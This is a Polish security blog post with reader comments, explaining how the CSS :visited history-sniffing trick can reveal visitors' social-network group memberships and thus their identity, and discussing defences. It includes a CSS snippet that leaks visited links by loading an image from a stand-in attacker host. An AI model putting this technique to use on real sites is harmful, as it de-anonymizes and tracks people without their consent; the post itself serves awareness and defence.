19:14
3/2/2010

Większość osób posiadających stwoje strony WWW nie zna imion i nazwisk swoich odwiedzających. Okazuje się jednak, że za pomocą prostego tricku z dużym prawdopodobieństwem można poznać tożsamość internauty przeglądającego dany serwis internetowy.

Wykradanie adresów stron z historii przeglądarki

Aby poznać tożsamość internauty odwiedzającego naszą stronę skorzystamy ze znanego ataku powodującego wykradnięcie odwiedzonych adresów URL z historii w przeglądarce użytkownika. Odpytamy ją o adresy grup w popularnych serwisach społecznościowych. W większości przypadków, posiadając informacje jedynie o grupach, do których ktoś należy na danym portalu społecznościowym, można z powodzeniem domyślić się jego nazwy użytkownika.

Sieci społecznościowe prawdę ci powiedzą

Publikacja A Practical Attack to De-Anonymize Social Network Users objaśnia:

42% użytkowników należących do grup może być dokładnie zidentyfikowana. Na atak podatni są m.in. korzystający z serwisów społecznościowych takich jak Facebook i LinkedIn

Techniczna implementacja ataku

Atak polega na zwabieniu użytkownika na stronę w kodzie której dodano ukryte linki. Ukryte linki to zbiór adresów URL, których obecność chcemy stwierdzić w historii przeglądarki użytkownika. Odpytanie historii jest możliwe dzięki pseudoklasie :visited w CSS, która pozwala na różne ostylowanie linków odwiedzonych i nieodwiedzonych.

Przykładowo, chcąc sprawdzić, czy odwiedziłeś FanPage Niebezpiecznika na Facebooku, mógłbym wykorzystać poniższy kod:

<style type="text/css">
a:visited {
background-image: url(http://666.ev.il/fan_niebezpiecznika.jpg);
}
</style>
<a href="http://facebook.com/niebezpiecznik"> test </a>

Obrazek fan_niebezpiecznika.jpg zostanie pobrany przez twoją przeglądarkę tylko wtedy, gdy w historii twojej przeglądarki znajduje się adres http://facebook.com/niebezpiecznik. Serwer 666.ev.il zna już twoje IP i wie, że na pewno byłeś w przeszłości na stronie Niebezpiecznika na Facebooku.

Mozilla Firefox przetrzymuje strony w historii przez 90 dni, Internet Explorer przez 20 dni, a Safari przez 30. Co ciekawe, Google Chrome przetrzymuje historię odwiedzonych stron w nieskończoność…

Oczywiście w przypadku realnego ataku sprawdza się tysiące linków i dla każdego z nich tworzy osobne klasy w CSS lub korzysta z innej formy ataku opartej o JavaScript. Adresy do sprawdzenia w przypadku Facebooka mają postać:

http://www.facebook.com/group.php?gid=[groupID]&v=info&ref=nf+

Poniżej praktyczna implementacja ataku, sprawdzająca:

Wiemy kim jesteś!

Pamiętacie jak kilka dni temu opisywaliśmy unikalność “odcisku przeglądarki” wynikającego z liczby i wersji zainstalowanych pluginów, rozdzielczości ekranu i rodzajów czcionek systemowych? To teraz dodajcie dwa do dwóch i wyobraźcie sobie co można zrobić mając nie tylko fingerprint przeglądarki, ale również tożsamość korzystającego z niej użytkownika ;-)

Przeczytaj także:

28 komentarzy

Dodaj komentarz
  1. Boję się was :)

  2. hm.. ehh
    Coraz ciekawsze te artykuły.
    Pozdrawiam.

  3. Może mi ktoś powiedzieć co ja, kurczę, robię źle ?
    Za każdym razem (nie ważne czy strona była odwiedzana czy nie) wyświetla się tylko “test”.

    Wygląda to tak:

    a:visited {
    background-image: url(TU OBRAZEK);
    }

    test

  4. Nie jest fajnie :/. Nie blokujecie HTML… Poprawione:

    a:visited {
    background-image: url(OBRAZEK);
    }

    test

  5. Wyrzuccie temte komentarze…
    Żródło do sprawdzenia: http://garstecki.net/test.html

  6. Jak zforcować przeglądarkę do a:visited=false ? Nie chce usuwać historii:P

  7. Mechanizm rozgryzłem trochę wcześniej, opisałem to u siebie: http://blog.kowalczyk.cc/2010/01/10/javascript-wykrywanie-obecnosci-danej-strony-w-historii-przegladarki/ – w każdym razie poza usunięciem historii raczej nie da się przed tym skutecznie obronić.

  8. Coraz częściej zaglądam na tę stronę i widzę, że staracie się, żeby teksty były na wysokim poziomie ciekawości. Jest po prostu co czytać.

  9. Zaczynam się nie pokoić.
    Sprawdzam sobie oba testy. Na porno nie wchodziłem. Potem testowo wlazłem na redtube, test potwierdził, żem porno ogladał.

    Przechodzę do drugiego testu – faktycznie jedną ze stron odwiedzonych jest redtube. Usuwam historię odwiedzonych stron w przeglądarce, cookies, ciasteczka flashowe (ręcznie z dysku) i… nadal w wynikach testu pojawia się redtube! Eee?

  10. 5 linijka, nie licząc akapitu powinno być odwiedzającego a nie dwiedzającego. :)

    Imię, nazwisko, fingerprint przeglądarki… czułem się o wiele bezpieczniejszy jak was nie czytałem :P

  11. Test “porno” jakoś bardziej dyskretny jest i szybszy. Drugi łączy się namolnie z siecią, jak mi na jakiejś stronie coś takiego się dzieje, zawsze szukam przyczyny (i ucinam urlfiltrem, bo mnie wkurza).

  12. Oj, szybsza ręka na LPM niż głowa. Czy userCSS lub userJS nie dałyby rady profilaktycznie zablokować takiego testu, skoro oparty jest o CSS?

  13. Z moją konfiguracją (FF, NoScript, User-Agent Switch, BetterPrivacy, Google Sharing, AdBlock, Tor, Cookies i historia wyłączone, brak kont w serwisach społecznościowych, niekorzystanie z usług Google) czuję się w miarę bezpiecznie.

    Porno oglądam a strona nic nie wykrywa (brak historii i pozostałości po flaszach jak mniemam). Browser stamp co jakiś czas się zmienia przez zmianę User agenta (niestety wtyczki prawdę ci powiedzą – od razu widać co jest pięć po rozszerzeniu .so).

    A za newsy o prywatności wielkie dzięki dla autora! Czytam z chęcią, przejęciem i stosuję co niektóre porady. Denerwuje mnie inwigilowanie mojej prywatności stąd ta lekka paranoja ;-)

  14. @Jurgi: Nie, bo tu chodzi o mechanizm, który jest praktycznie nieblokowalny – można by jedynie wprowadzić do przeglądarek zabezpieczenia, które nie pozwalałyby na powiązanie klas CSS z ich atrybutami. W każdym innym przypadku blokując te infomacje praktycznie musielibyśmy uniemożliwić przeglądarce poprawne wyświetlenie strony.

  15. Trochę dziwne. Akurat tak się złożyło, że rano wyczyściłem sobie historię przeglądania od tamtego czasu nie używałem netu. Teraz jesteście 2/3 stroną włączoną a wykrywa, że dzisiaj oglądałem pornostronki. Więc cusik nie tak

    Pozdrawiam
    Radom

  16. w firefoxie wystarczy w about:config “layout.css.visited_links_enabled” przestawić na “false” i test na startpanic.com nie wyświetla żadnych odwiedzonych stron mimo znaczącej historii w przeglądarce

  17. Może niebezpiecznik.pl został dodany do listy “niegrzecznych” stron? ;]

    BTW. Zobacz jakie to stronki i sprawdź dokładnie ciasteczka / historię i inne tego typu.

  18. Fajnie. Niektorzy nie oglądali, a pokazuje im, że oglądali. Ja oglądałem, a nic nie mam ;) No ale oglądać to trzeba ‘umić’ ;)

  19. HEHE znaczy się mój nawyk uruchamiania odkurzacza na koniec dnia wcale nie jest taki głupi :) Dobrze jest pamiętać ze się kiedyś miało b.mały twardziel i każde parę kb robiło różnice

  20. Good boy! You didn’t watch porn :)

  21. Dla Firefoksa można pobrać proste rozszerzenie:
    https://addons.mozilla.org/en-US/firefox/addon/12312

    Dzięki niemu przy wyłączonym “layout.css.visited_links_enabled” nadal można sprawdzić, czy (i kiedy) link był odwiedzany – stosowne info wyświetlane jest na statusbarze.

  22. Jednak tryb prywatny w FF działa :]

    “Good boy! You didn’t watch porn” … but i did ;-D

  23. to kiedy spodziewamy się dodatku do foxa, imitującego brak wtyczek + brak czcionek w windowsie + brak historii? :D

  24. dla znających temat można skutecznie się zamaskować ,wtedy powyższy tekst jest zbędny

    crac { versus ….}

  25. oczywiście, że można, ale skoro mówisz, że tekst jest zbędny, to wypadałoby się podzielić wiedzą…

  26. Zgadza się cyberiusz, “zmyła” jest jak najbardziej wskazana, wtedy te testy są do niczego, jednak weź pod uwagę że nie wszyscy są na tyle zdolni aby umieć wykonać takie rzeczy jak zmiania user agent czy blokowanie referera. Z dodatków FF też trzeba umieć korzystać i umieć je ustawić. Problem zaczyna się gdy np. ty używasz Firefoxa a inny użytkownik twojego komputera (np. żona) Internet Explorera bo niczym innym nie potrafi się obsłużyć :] Wtedy taki artykuł daje ci dobrą wiedzę i dzięki temu uświadamiasz mniej obeznane osoby do czego może doprowadzić ich bezmyślne klikanie w linki (nie tylko na stronach).

  27. [...] Już jakiś czas temu pisaliśmy o ogromnym zagrożeniu dla prywatności, jakim są ciasteczka flashowe. Wspominaliśmy również, jak łatwo m.in. za pomocą pluginu Flasha namierzyć konkretnego internautę a nawet poznać jego imię i nazwisko. [...]

  28. [...] ruchu sieciowego użytkownika (pośród milionów połączeń), w konsekwencji czego można nawet poznać nazwisko internauty, który odwiedził daną stronę [...]

Twój komentarz

Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy. Dlaczego?

RSS dla komentarzy:

Niebezpiecznik na Facebooku. Dołącz do nas!